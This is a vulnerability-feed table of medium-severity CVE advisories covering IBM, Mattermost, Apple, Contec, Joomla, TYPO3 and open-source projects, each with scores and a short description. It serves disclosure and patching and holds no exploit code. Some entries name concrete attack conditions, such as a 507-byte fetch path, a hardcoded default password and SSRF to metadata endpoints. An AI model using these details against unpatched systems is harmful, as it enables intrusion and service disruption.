CVE-2023-50460	New	5.4	MEDI		0.002		An issue was discovered in the femanager extension 7.x before 7.2.3 for TYPO3. The backend module allows an authenticated backend user to perform various actions (userLogout, confirmUser, refuseUser, and resendUserConfirmation) for any frontend user in the system.
CVE-2024-23176	New	5.4	MEDI		0.002		An issue was discovered in the MassMessage extension in MediaWiki before 1.40.2. For a Special:MassMessage?uselang=x-xss URL, the i18n key massmessage-form-page-help allows XSS.
CVE-2025-63842	New	5.4	MEDI		0.002		A Cross-Site Scripting (XSS) vulnerability in the web backend for the Repetico app 1.9.7.31 for Android allows a remote authenticated user to execute arbitrary JavaScript code in the app's context via crafted input in the multiple-choice question text field.
CVE-2026-12758	New	5.4	MEDI		0.003		IBM Cloud Pak for Business Automation could allow a remote attacker to bypass authorization and invoke restricted endpoints due to improper validation of HTTP headers.
CVE-2026-12766	New	5.4	MEDI		0.002		IBM Langflow OSS 1.0.0 through 1.11.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
CVE-2026-15887	New	5.4	MEDI		0.002		IBM WebSphere Application Server 9.0, and 8.5 is affected by blind server-side request forgery when processing SOAP requests.
CVE-2026-16186	New	5.4	MEDI		0.002		IBM WebSphere Application Server 9.0, and 8.5 is affected by a reflected cross-site scripting vulnerability.
CVE-2026-17047	New	5.4	MEDI		0.001		IBM Db2 Mirror for i 7.4, 7.5, and 7.6 could allow a remote attacker to obtain sensitive information due to improper request validation.
CVE-2026-17628	New	5.4	MEDI		0.003		IBM Langflow OSS 1.0.0 through 1.10.2 could allow a remote authenticated attacker to change the password of an account due to improper authentication.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-19273	New	5.4	MEDI		0.003		IBM Sterling B2B Integrator 6.2.0.0 through 6.2.0.6_2, 6.2.1.0 - 6.2.1.2, 6.2.2.0 - 6.2.2.1 and IBM Sterling File Gateway 6.2.0.0 through 6.2.0.6_2, 6.2.1.0 - 6.2.1.2, 6.2.2.0 - 6.2.2.1 Standard Edition could allow a remote authenticated attacker to bypass security restrictions due to improper authentication.
CVE-2026-54181	New	5.4	MEDI		0.003		backpack/crud provides Create, Read, Update & Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. From 6.0.0 until 6.8.14 and 7.0.38, src/resources/views/crud/columns/color.blade.php inverts the escaped and raw rendering branches controlled by \$column['escaped'], which defaults to true, causing \$column['t...
CVE-2026-78415	New	5.4	MEDI		0.002		IBM Sterling Secure Proxy 6.2.0.0 through 6.2.1.2 could allow a remote authenticated attacker to perform UI spoofing and phishing attacks due to improper neutralization of user-supplied HTML markup.
CVE-2026-7884	New	5.4	MEDI		0.002		IBM Cognos Analytics 12.1.0 through 12.1.3 FP1, and 12.0.4 through 12.0.4 FP2 allows a non-privileged user to edit their given name and surname to include malicious JavaScript code. When an administrator later accesses the user account management panel and views that user's permissions, the malicious JavaScript code is executed. This could result in the cookies from the admi...
CVE-2026-91021	New	5.4	MEDI		0.001		Trilium Notes, version v0.103.0 and earlier, contains a stored cross-site scripting (XSS) vulnerability in the share renderer for webView notes due to improper HTML escaping of user-controlled #webViewSrc values. This vulnerability allows attackers with note-authoring privileges to inject arbitrary JavaScript that executes for any user who opens the shared note, including ad...
CVE-2026-91201	New	5.4	MEDI		0.001		DocsGPT through 0.20.0 posts OAuth connector session tokens to a wildcard target origin in the callback-status endpoint without validating sender origin. Attackers can obtain session tokens and provider account emails by acting as window.opener during OAuth authorization, then use tokens to disconnect victims' cloud storage connectors.
CVE-2023-50462	New	5.3	MEDI		0.003		An issue was discovered in the content_consent (aka Content Consent) extension through 2.0.1 for TYPO3. It fails to verify whether a specified content element identifier is permitted by the plugin. This enables an unauthenticated user to display various content elements, leading to an insecure direct object reference (IDOR) issue with the potential to expose internal content...
CVE-2026-10556	New	5.3	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to validate null entries in Microsoft Graph webhook notification payloads, which allows an unauthenticated attacker to crash the Microsoft Calendar plugin process and deny calendar integration service to all users on the instance via a crafted {{POST}} request to the public web...
CVE-2026-16188	New	5.3	MEDI		0.003		IBM WebSphere Application Server 9.0, and 8.5 could allow a remote attacker to inject forged log entries into the server's administrative log.
CVE-2026-18065	New	5.3	MEDI		0.003		IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote unauthenticated attacker to gain access to sensitive information through session IP binding bypass in Navigator for i.
CVE-2026-43696	New	5.3	MEDI		0.001	apple:macos	An authorization issue was addressed with improved entitlement checks. This issue is fixed in macOS Golden Gate 27. An app may be able to capture Touch Bar content without authorization.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-47256	New	5.3	MEDI		0.004		OpenTelemetry, also known as OTel, is a vendor-neutral open source Observability framework for instrumenting, generating, collecting, and exporting telemetry data such as traces, metrics, and logs. Prior to 0.154.0, the Sentry exporter reads the remote OTLP sender-controlled service.name resource attribute in exporter/sentryexporter/sentry_exporter.go through extractProjectS...
CVE-2026-53496	New	5.3	MEDI		0.005		ExifReader is a JavaScript Exif information parser. Prior to 4.40.1, ExifReader.load() and the asynchronous file and URL loaders can pass attacker-supplied HEIC or AVIF data to the ISO-BMFF parser in src/image-header-iso-bmff.js, where findMetaBox() and parseBox() accept an eight-byte box header without confirming that fields required by the parsed box remain in the DataView...
CVE-2026-53715	New	5.3	MEDI		0.004		Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, HTTPServer.ServeHTTP in internal/wasm/httpserver.go reads the plain mappingPath2Cache map without synchronization while HTTPServer.Get writes the same map during EnvoyExtensionPolicy translation. An attacker with pod-network acce...
CVE-2026-54529	New	5.3	MEDI		0.004		SQLAdmin is a flexible Admin interface for SQLAlchemy models. Prior to 0.27.1, ModelView.sort_query in sqladmin/models.py accepts the attacker-controlled sortBy list-view query parameter without enforcing the configured column_sortable_list server-side allow-list in self._sort_fields. The value is resolved with getattr and passed to relationship joins and order_by, allowing ...
CVE-2026-57497	New	5.3	MEDI		0.005		webtransport-go is an implementation of the WebTransport protocol. Prior to 0.11.1, Session.parseNextCapsule() in session.go skips an unknown WebTransport capsule on the HTTP/3 request stream by calling io.ReadAll on the capsule reader, retaining the complete declared capsule body in memory. A malicious peer can send a large unknown capsule and cause a client or server to al...
CVE-2026-57581	New	5.3	MEDI		0.004		DotVVM is an open source MVVM framework for web applications. Prior to 4.2.11, 4.3.15, and 5.0.0-preview09-final, applications with configured file upload storage allow unauthenticated users to submit files directly to DotvvmFileUploadMiddleware without an X-DotVVM-UploadToken generated by the FileUpload component. An attacker can repeatedly upload files and fill application...
CVE-2026-82775	New	5.3	MEDI		0.003		An exposure of information through directory listing issue exists in CONPROSYS M2M Gateway Series and CONPROSYS M2M Controller Series. Accessing a specific URL on this product may allow a remote unauthenticated attacker to obtain the directory list without authentication.
CVE-2026-82778	New	5.3	MEDI		0.003		An exposure of information through directory listing issue exists in CONPROSYS PAC Series. Accessing a specific URL on this product may allow a remote unauthenticated attacker to obtain the directory list without authentication.
CVE-2026-82782	New	5.3	MEDI		0.003		Out-of-bounds write vulnerability exists in CONPROSYS nano Series. Receiving a specially crafted request created and sent by a remote attacker may cause a denial-of-service (DoS) condition.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82785	New	5.3	MEDI		0.003		Stack-based buffer overflow vulnerability exists in Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*. Receiving a specially crafted request created and sent by a remote attacker may cause a denial-of-service (DoS) condition.
CVE-2026-84533	New	5.3	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:watchos	A cryptographic issue was addressed with improved integrity checks. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, watchOS 27. An attacker in a privileged network position may be able to modify network traffic.
CVE-2026-85196	New	5.3	MEDI		0.003		Joomla Extension - regularlabs.com - Reflected XSS in Articles Anywhere extension for Joomla < 20.0.0, Users Anywhere extension for Joomla < 2.1.0 - Articles Anywhere Pro and Users Anywhere Pro return values from request-input data tags without making them safe for the context in which the tag is used. Joomla's string input filter does not make the same value safe for HTML t...
CVE-2026-88932	New	5.3	MEDI		0.003		multer is a Node.js middleware for handling multipart/form-data uploads. In versions 2.2.0 through 2.3.0, when a request using disk storage is aborted mid-upload, file writes that complete after multer has already run its abort cleanup are not removed, so each aborted upload can leave an orphaned file on disk. A remote unauthenticated attacker can repeatedly start and abort ...
CVE-2026-89020	New	5.3	MEDI		0.002		MikroTik RouterOS before 7.23.4 (long-term) and 7.24.2 (stable) contains a stack-based buffer overflow vulnerability in the mtget binary's TFTP RRQ builder function that allows authenticated users to crash the mtget worker process by supplying a URL path of 507 bytes or more to the /tool fetch command; the first write outside the 528-byte buffer occurs at 505 bytes. Attacker...
CVE-2026-90614	New	5.3	MEDI		0.002		A weakness has been identified in FedML-AI FedML up to 0.9.6. Affected by this issue is the function S3Storage.read_model of the file fedml/core/distributed/communication/s3/remote_storage.py of the component MQTT+S3 Communication Backend. This manipulation of the argument s3_key_str causes deserialization. Remote exploitation of the attack is possible. The project was infor...
CVE-2026-90790	New	5.3	MEDI		0.002		A security vulnerability has been detected in a2aproject a2a-python up to 1.1.3. This affects the function _dispatch_notification of the file src/a2a/server/tasks/base_push_notification_sender.py of the component Push Notification Sender. The manipulation of the argument push_info.url leads to server-side request forgery. Remote exploitation of the attack is possible. Upgrad...
CVE-2026-90801	New	5.3	MEDI		0.001		A security flaw has been discovered in GNU Binutils 2.47. This impacts the function cache_bwrite of the file bfd/cache.c of the component ld. The manipulation of the argument nbytes results in buffer overflow. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through a ...
CVE-2026-90816	New	5.3	MEDI		0.004		A vulnerability was found in FFmpeg 8.0.x. This affects the function parse_playlist of the file libavformat/hlsproto.c of the component Duration Parser. Performing a manipulation of the argument duration/target_duration results in denial of service. The attack is possible to be carried out remotely. Upgrading to version 8.1 and 9.0 is able to mitigate this issue. The patch i...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90820	New	5.3	MEDI		0.002		A security vulnerability has been detected in a2aproject a2a-java 1.2.0. The impacted element is the function AuthorizationRequestHandlerDecorator.onListTasks of the file server-common/src/main/java/org/a2aproject/sdk/server/requesthandlers/AuthorizationRequestHandlerDecorator.java. Such manipulation leads to missing authorization. The attack can be launched remotely. Upgrad...
CVE-2026-90935	New	5.3	MEDI		0.002		Froxlор before 2.3.7 fails to validate the mysql_server parameter against a customer's allowed_mysqlserver allowlist in the Mysqls.add API command. Attackers can supply a disallowed server index to create MySQL databases and users on forbidden servers, bypassing per-customer access controls.
CVE-2026-90936	New	5.3	MEDI		0.002		Froxlор before 2.3.7 fails to properly scope sender alias lookups to the current customer in customer_email.php. Authenticated attackers can enumerate global sender alias IDs and read other customers' allowed sender values by supplying arbitrary senderid parameters in delete confirmation requests.
CVE-2026-90940	New	5.3	MEDI		0.003		novel-plus through 5.3.3 contains an insecure default cache-management password in the CacheController.refreshCache endpoint that allows anonymous attackers to invalidate portal caches by supplying the hardcoded default value in the URL path. Attackers can trigger unauthorized cache invalidation by accessing the cache/refresh endpoint with the known default password, forcing...
CVE-2026-90941	New	5.3	MEDI		0.002		novel-plus through 5.3.3 contains an authorization bypass vulnerability in the BookController download endpoint that allows authenticated backend accounts to export complete book text including paid chapters. Attackers can supply a bookId and bookName to retrieve all chapter content without VIP or purchase verification, bypassing the permission checks and data-scope limits e...
CVE-2026-19280	New	5.2	MEDI		0.001		IBM i 7.6, 7.5, 7.4, and 7.3 could allow a denial of service as a result of a buffer overflow in a PASE process. An authenticated attacker could leverage this to terminate their own process.
CVE-2026-86876	New	5.2	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:visionos, apple:watchos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27, watchOS 27. A sandboxed process may be able to circumvent sandbox restrictions.
CVE-2026-81566	New	5.1	MEDI		0.002		Joomla Extension - joomshaper.com - Missing Access Control in Menu Item Creation in SP Page Builder (Free and Pro) 4.0.0 - 6.9.0 - The add-to-menu routine invoked the com_menus item model's save() method directly. That model does not perform authorisation itself, because the relevant checks reside in the com_menus controller, and the only check applied was core.edit on com_s...
CVE-2026-82764	New	5.1	MEDI		0.001		Cross-site request forgery vulnerability exists in multiple Contec products. If a user views a specially crafted page while logged in to the affected product, unintended operations may be performed.
CVE-2026-82773	New	5.1	MEDI		0.002		Cross-site scripting vulnerability exists in CONPROSYS M2M Gateway Series and CONPROSYS M2M Controller Series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.
CVE-2026-82776	New	5.1	MEDI		0.002		Cross-site scripting vulnerability exists in CONPROSYS PAC Series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82781	New	5.1	MEDI		0.001		Cross-site scripting vulnerability exists in CONPROSYS nano Series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.
CVE-2026-82788	New	5.1	MEDI		0.002		Cross-site scripting vulnerability exists in CPSL-08P1EN. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.
CVE-2026-82795	New	5.1	MEDI		0.001		SolarView Compact contains a cross-site scripting vulnerability in Schedule Settings and Mail Send Setting. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.
CVE-2026-82796	New	5.1	MEDI		0.001		SolarView Compact contains a cross-site scripting vulnerability in Image Management. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.
CVE-2026-85125	New	5.1	MEDI		0.002		The Android application "YAMAP -Social Trekking GPS App" contains an improper access control vulnerability in its WebView implementation. The in-app browser may cause information leakage from the app or redirect users to unintended websites.
CVE-2026-90893	New	5.1	MEDI		0.002		MISP contains a Cross-Site Request Forgery (CSRF) vulnerability in the UserSettingsController. The actions setTheme, setHomePage, and eventIndexColumnToggle were explicitly added to the Security component's unlockedActions list, which disabled all CSRF validation (both token and field-hash checks) for those endpoints. Because these endpoints accept POST requests and modify p...
CVE-2026-90931	New	5.1	MEDI		0.002		LaraDashboard versions 0.9.0 through 1.2.2 fail to sanitize SVG file content during media upload, allowing authenticated users with only the media.create permission to upload malicious SVG files containing script tags. When any user including administrators opens the stored SVG file served inline from the application origin, the embedded JavaScript executes in the dashboard ...
CVE-2026-90957	New	5.1	MEDI		0.002		Affected versions of MISP serve uploaded SVG images inline without a restrictive browser sandbox. The commit explains that SVG files are XML documents rather than passive bitmap images. While scripts inside SVG do not execute when the SVG is rendered through a normal , they can execute when the SVG is navigated to directly or embedded as a document. In that case, mali...
CVE-2026-10542	New	5.0	MEDI		0.001		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to validate channel action ownership which allows channel managers to update actions in other channels via the channel action update endpoint.. Mattermost Advisory ID: MMSA-2026-00692
CVE-2026-55244	New	5.0	MEDI		0.002		ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-cont...
CVE-2026-91199	New	5.0	MEDI		0.002		Refly through 1.1.0 contains a server-side request forgery vulnerability in the POST /v1/misc/scrape endpoint that fetches caller-supplied URLs without validating the scheme, host, or resolved address. Authenticated attackers can make the backend issue requests to loopback, private, and link-local addresses including cloud metadata services to read page titles and descriptio...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-75015	New	4.9	MEDI		0.004		Insufficiently Protected Credentials vulnerability in Apache Syncope. Audit events, when sent to the configured store, are not sufficiently masked for the sensitive values they might carry on their payloads, thus allowing administrators to access such sensitive values. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4....
CVE-2026-77883	New	4.9	MEDI		0.004		Exposure of sensitive information through data queries vulnerability in Apache Syncope. An administrator with adequate entitlements for Derived Schemas can create a malicious JEXL expression which allows any administrator with sufficient entitlements for User read to access LinkedAccount's (if present) or Manager's (if defined) sensitive information, possibly including hash...
CVE-2026-16189	New	4.8	MEDI		0.002		IBM WebSphere Application Server 9.0, and 8.5 could allow a remote attacker to inject forged log entries into the server's administrative log.
CVE-2026-82763	New	4.8	MEDI		0.001		Cross-site scripting vulnerability exists in Contec FX5000 series, FX4000 series, and FX3000 series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.
CVE-2026-82767	New	4.8	MEDI		0.002		Cross-site scripting vulnerability exists in SGA1000. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.
CVE-2026-82769	New	4.8	MEDI		0.002		Cross-site scripting vulnerability exists in Contec RP-WAH-SR Series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.
CVE-2026-82771	New	4.8	MEDI		0.002		Cross-site scripting vulnerability exists in Contec EC1000 series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.
CVE-2026-82790	New	4.8	MEDI		0.001		Cross-site scripting vulnerability exists in PC-HELPER Wireless I/O DIO-0404RY-LWF and PC-HELPER Wireless I/O DIO-0404RY-LWF-US. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.
CVE-2026-82792	New	4.8	MEDI		0.002		Cross-site scripting vulnerability exists in Contec CAN 2.0B Communication Wireless LAN / USB Converter Unit. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.
CVE-2026-86889	New	4.8	MEDI		0.002	apple:macos	A certificate validation issue was addressed with improved certificate validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An attacker in a privileged network position may be able to intercept network traffic.
CVE-2026-13277	New	4.7	MEDI		0.003		IBM Verify Identity Access could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted. This could allow the attacker to obtain high...
CVE-2026-43690	New	4.7	MEDI		0.002	apple:macos	A race condition was addressed with improved locking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A local user may be able to read kernel memory.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84492	New	4.7	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A race condition was addressed with improved state handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.
CVE-2026-84550	New	4.7	MEDI		0.002	apple:macos	A race condition was addressed with additional validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.
CVE-2026-84562	New	4.7	MEDI		0.001		A race condition was addressed with additional validation. This issue is fixed in macOS Tahoe 26.6. An app may be able to access protected user data.
CVE-2026-84630	New	4.7	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A race condition was addressed with improved state handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.
CVE-2026-90709	New	4.7	MEDI		0.002		A security vulnerability has been detected in Yot CMS up to 3.3.1. Affected by this issue is the function eval of the file modsys/console/admin.php of the component Admin Console. Such manipulation of the argument text leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used.
CVE-2026-15923	New	4.6	MEDI		0.002		The Zephyr SDIO subsystem function sdio_io_rw_extended_helper() in subsys/sd/sdio.c finishes transfers with a byte-I/O loop that uses size = MIN(remaining, func->cis.max_blk_size) as the per-iteration step. The value func->cis.max_blk_size is decoded directly from the SDIO card's CIS FUNCE tuple in sdio_decode_cis() and is not validated. When a card reports a maximum block s...
CVE-2026-16148	New	4.6	MEDI		0.002		The ITE it82xx2 USB device-controller driver initialized its bus-suspend detection work with k_work_init_delayable(&priv->suspended_work, suspended_handler) inside it82xx2_enable() (the driver's .enable op) in drivers/usb/udc/udc_it82xx2.c. This work item is scheduled essentially continuously while the USB bus is active: the interrupt handler reschedules it on every SOF fram...
CVE-2026-86890	New	4.6	MEDI		0.002	apple:ipados, apple:iphone_os	A logic issue was addressed with improved checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27. An attacker with physical access to a locked device may be able to view sensitive user information.
CVE-2026-90955	New	4.6	MEDI		0.001		Affected versions of MISP's interactive CLI shell do not reliably preserve the identity of the impersonated MISP user across audit logging. The shell is designed to run actions as a supplied MISP user ID. However, the legacy SysLogLogable behavior stored that identity in behavior-instance state that could be overwritten when another model lazily attached the shared behavio...
CVE-2026-65383	New	4.4	MEDI		0.002	apple:macos	This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27. An app may bypass Gatekeeper checks.
CVE-2026-84551	New	4.4	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:visionos, apple:watchos	A logic issue was addressed with improved validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27, watchOS 27. An app may be able to bypass network restrictions.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2023-40772	New	4.3	MEDI		0.01		A directory Traversal vulnerability in DataEase before 1.18.10 allows a remote attacker to obtain sensitive information via a crafted request to the StaticResourceController.java component.
CVE-2025-68624	New	4.3	MEDI		0.003		N-able Mail Assure through April 2026 contains a design-level authorization flaw that allows an authenticated SMTP user to send outbound email using MAIL FROM addresses belonging to other tenants. When connecting to the SMTP TCP port and performing SMTP AUTH with valid credentials, the server accepts arbitrary sender domains without enforcing any domain-to-account binding. A...
CVE-2026-11993	New	4.3	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to properly enforce the limit of concurrent files being processed and handled failed files, which allows a user with permission to upload files to spawn more goroutines than intended and block the indexing of other files via uploading heavy files constantly to the server.. Matt...
CVE-2026-12882	New	4.3	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to parse Markdown autolinks with unmatched trailing closing parentheses in linear time, which allows an authenticated user with permission to create posts to cause excessive server CPU consumption and degrade availability for other users via specially crafted post or message at...
CVE-2026-13417	New	4.3	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to validate the type of `fields.properties` on block creation which allows an authenticated user with editor access to a board to crash the Boards plugin worker and trigger a denial of service via a child block whose `fields.properties` is a non-object value. Mattermost Advisor...
CVE-2026-14259	New	4.3	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to enforce board creation permissions when importing archive files which allows an authenticated non-guest team member to create Open or Private boards despite administrator restrictions via importing a crafted .boardarchive file. Mattermost Advisory ID: MMSA-2026-00712
CVE-2026-14344	New	4.3	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to enforce the board-creation permission which allows an unauthorized authenticated user to create boards via the board duplicate, boards-and-blocks, and archive-import endpoints.. Mattermost Advisory ID: MMSA-2026-00715
CVE-2026-18251	New	4.3	MEDI		0.001		IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote attacker to obtain sensitive information due to improper validation of the WebSocket origin.
CVE-2026-18515	New	4.3	MEDI		0.003		IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote authenticated attacker to place files into the file system with Navigator for i when they should be blocked by Navigator configuration. This could allow attackers to upload files onto the system to places the Navigator support did not intend, but only if the profile could already do that by itself.
CVE-2026-54247	New	4.3	MEDI		0.002		Skipper is an HTTP router and reverse proxy for service composition. Prior to 0.26.22, Handler in dataclients/kubernetes/admission/admission.go passes the body of requests to the Kubernetes admission endpoint at :9443/admission directly to io.ReadAll(r.Body) without a size limit. An attacker with in-cluster network access and a valid Kubernetes client certificate can send a ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-57128	New	4.3	MEDI		0.002		PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the SSE server in src/praisonai-agents/praisonaiagents/server/server.py does not consult ServerConfig.auth_token before handling /publish, /events, or /info requests. A network client that can reach the server can broadcast arbitrary events to connected clients and obtain server configuration and clien...
CVE-2026-65352	New	4.3	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:visionos	An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 26.6.1 and iPadOS 26.6.1, macOS Tahoe 26.6.2, visionOS 26.6.1. A website may be able to determine a user's IP address with Private Relay turned on.
CVE-2026-65355	New	4.3	MEDI		0.003	apple:ipados, apple:iphone_os, apple:macos, apple:visionos	An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.6.1 and iPadOS 26.6.1, macOS Tahoe 26.6.2, visionOS 26.6.1. A website may be able to determine a user's IP address with Private Relay turned on.
CVE-2026-75792	New	4.3	MEDI		0.003		IBM Sterling Secure Proxy 6.2.0.0 through 6.2.1.2 could allow a remote authenticated attacker to view administrative user interface components due to client-side authorization bypass.
CVE-2026-82437	New	4.3	MEDI		0.003		Description The Logviewer offers `logs.users` and `logs.groups` so operators can control who may read log content. For daemon logs those settings were not applied: the access decision combined the "this is a daemon log" flag with the authorizer result in a way that discarded the authorizer's answer whenever the flag was set, and the daemon log page and download endpoints re...
CVE-2026-82519	New	4.3	MEDI		0.002		Really Simple Security plugin for WordPress before 9.8.2 contains a missing authorization check vulnerability that allows authenticated low-privileged attackers to bypass enforced two-factor authentication indefinitely by exploiting an unguarded code path in the profile-page update handler. Attackers can submit a crafted POST request without the two-factor-authentication fie...
CVE-2026-84518	New	4.3	MEDI		0.003	apple:ipados, apple:iphone_os, apple:macos, apple:safari	This issue was addressed through improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27. A malicious website may be able to determine what apps a user has installed.
CVE-2026-86348	New	4.3	MEDI		0.002		Mattermost versions <=11.9 11.0.9 11.4.8 11.7.7 10.22.11.0 fail to recover from handler panics, which allows an authenticated user to crash the plugin via a post-action request with an unexpected field type.. Mattermost Advisory ID: MMSA-2026-00701
CVE-2026-86349	New	4.3	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.8, 10.11.x <= 10.11.22 fail to limit the nesting depth in the server-side Markdown parser which allows an authenticated attacker to cause a denial of service (CPU resource exhaustion) via a crafted post containing deeply nested blockquotes or list items.. Mattermost Advisory ID: MMSA-2026-00707
CVE-2026-89321	New	4.3	MEDI		0.003		Publishing limits the compressed size of a VSIX (ovsx.publishing.max-content-size, 512 MB by default) but nothing limited how large an entry becomes when opened. On the first request to /vscode/unpkg/{namespace}/{extension}/{version}/{path}, WebResourceService opened the entry with ZipFile.getInputStream() and passed the decompressed stream to Files.copy(), which ran to ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90813	New	4.3	MEDI		0.003		A vulnerability was detected in cosmicstack-labs mercury-agent up to 1.1.13. Affected is the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Execution. The manipulation results in incorrect behavior order: validate before canonicalize. The attack may be launched remotely. The exploit is now public and may be used. The pro...
CVE-2023-45023	New	4.2	MEDI		0.001		The femanager extension 7 before 7.2.2 for TYPO3 has Incorrect Access Control: it lacks a check for permissions for the invitation component.
CVE-2026-12763	New	4.2	MEDI		0.001		IBM Langflow OSS 1.0.0 through 1.11.5 could allow an authenticated attacker to access another user's MCP server context due to improper cache key isolation in the MCP Tools component.
CVE-2026-18151	New	4.2	MEDI		0.001		IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote authenticated attacker to obtain sensitive information due to a race condition during the WebSocket handshake process.
CVE-2026-23787	New	4.2	MEDI		0.001		An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. A Use-After-Free in the Exynos DRM HDR driver (due to improper cleanup upon vmap failure) leads to a kernel crash.
CVE-2026-23788	New	4.2	MEDI		0.001		An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, and 1380. A heap overflow in the Exynos DRM HDR driver (due to improper buffer size validation) leads to kernel memory corruption and a system crash.
